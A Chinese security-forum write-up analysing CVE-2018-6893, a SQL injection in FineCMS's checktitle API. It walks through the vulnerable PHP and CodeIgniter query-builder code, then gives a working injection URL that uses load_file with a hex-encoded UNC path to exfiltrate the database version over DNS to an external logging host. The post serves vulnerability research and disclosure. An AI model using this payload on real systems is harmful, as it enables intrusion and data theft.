Finecms SQL注入漏洞 [CVE-2018-6893]

梅子酒m3i / 2018-02-12 20:34:57 / 浏览数 7833 安全技术 漏洞分析 顶(0) 踩(0)

漏洞位置在：
finecms/dayrui/controllers/member/Api.php 590行左右

```
public function checktitle() {
   $id = (int)$this->input->get('id');
   $title = $this->input->get('title', TRUE);
   $module = $this->input->get('module');
   (!$title || !$module) && exit('');
   $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
   $num ? exit(fc_lang('<font color=red>'.fc_lang('■■').'</font>')) : exit('');
}
```

可以看到方法count_all_results()使用了$module,count_all_results()方法如下：

```
public function count_all_results($table = '', $reset = TRUE)
   {
       if ($table !== '')
       {
           $this->_track_aliases($table);
           $this->from($table);
       }

       // ORDER BY usage is often problematic here (most notably
       // on Microsoft SQL Server) and ultimately unnecessary
       // for selecting COUNT(*) ...
       if ( ! empty($this->qb_orderby))
       {
           $orderby = $this->qb_orderby;
           $this->qb_orderby = NULL;
       }

       $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_l
           ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n
           : $this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows'))));

       if ($reset === TRUE)
       {
           $this->_reset_select();
       }
       // If we've previously reset the qb_orderby values, get them back
       elseif ( ! isset($this->qb_orderby))
       {
           $this->qb_orderby = $orderby;
       }

       if ($result->num_rows() === 0)
       {
           return 0;
       }

       $row = $result->row();
       return (int) $row->numrows;
   }
```

可以看到对传入的table参数进行了是否为空校验以及经过两个函数的处理，再跟进_track_aliases函数继续进行分析：

```
protected function _track_aliases($table)
   {
       if (is_array($table))
       {
           foreach ($table as $t)
           {
               $this->_track_aliases($t);
           }
```

```
            return;
        }

        // Does the string contain a comma?  If so, we need to separate
        // the string into discreet statements
        if (strpos($table, ',') !== FALSE)
        {
            return $this->_track_aliases(explode(',', $table));
        }

        // if a table alias is used we can recognize it by a space
        if (strpos($table, ' ') !== FALSE)
        {
            // if the alias is written with the AS keyword, remove it
            $table = preg_replace('/\s+AS\s+/i', ' ', $table);

            // Grab the alias
            $table = trim(strrchr($table, ' '));

            // Store the alias, if it doesn't already exist
            if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
            {
                $this->qb_aliased_tables[] = $table;
                if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
                {
                    $this->qb_cache_aliased_tables[] = $table;
                    $this->qb_cache_exists[] = 'aliased_tables';
                }
            }
        }
    }
```

可以看到table在这个函数中经过了较多过滤，继续看下一个函数from：

```
public function from($from)
    {
        foreach ((array) $from as $val)
        {
            if (strpos($val, ',') !== FALSE)
            {
                foreach (explode(',', $val) as $v)
                {
                    $v = trim($v);
                    $this->_track_aliases($v);
                    $this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE);
                    if ($this->qb_caching === TRUE)
                    {
                        $this->qb_cache_from[] = $v;
                        $this->qb_cache_exists[] = 'from';
                    }
                }
            }
            else
            {
                $val = trim($val);
                // Extract any aliases that might exist. We use this information
                // in the protect_identifiers to know whether to add a table prefix
                $this->_track_aliases($val);
                $this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE);
                if ($this->qb_caching === TRUE)
                {
                    $this->qb_cache_from[] = $val;
                    $this->qb_cache_exists[] = 'from';
                }
            }
        }
        return $this;
    }
```

可以看到经过这两个函数以及finecms本身get方法的过滤，能用的符号不多了，但是括号以及逗号都还能使用。

在测试的时候，如果传入的参数比如：module=1，则会爆表不存在的错误，并且可以看到查询的语句，而module参数位于from位置，也就是查询的表的位置，于是使用这

http://localhost/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select load_file(concat(0x5c5c5c5c,version(),0x2e6d7973716c2e61687a6935672e636579652e696f5c5c616263)))) as total

可以看到dns信息带出了版本信息

点击收藏 | 0 关注 | 2

上一篇：CVE-2017-12623 Ap... 下一篇：7kbScan之SubDomain...

1. 3 条回复

bigcow 2018-02-25 11:10:07

这个系统也能申请cve的吗

0 回复Ta

梅子酒m3i 2018-02-25 22:51:09

@bigcow 是的呀。我一开始也不知道。。

0 回复Ta

kevino 2018-02-26 14:48:50

@bigcow 很多都能申请cve的，而且流程不怎么麻烦

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板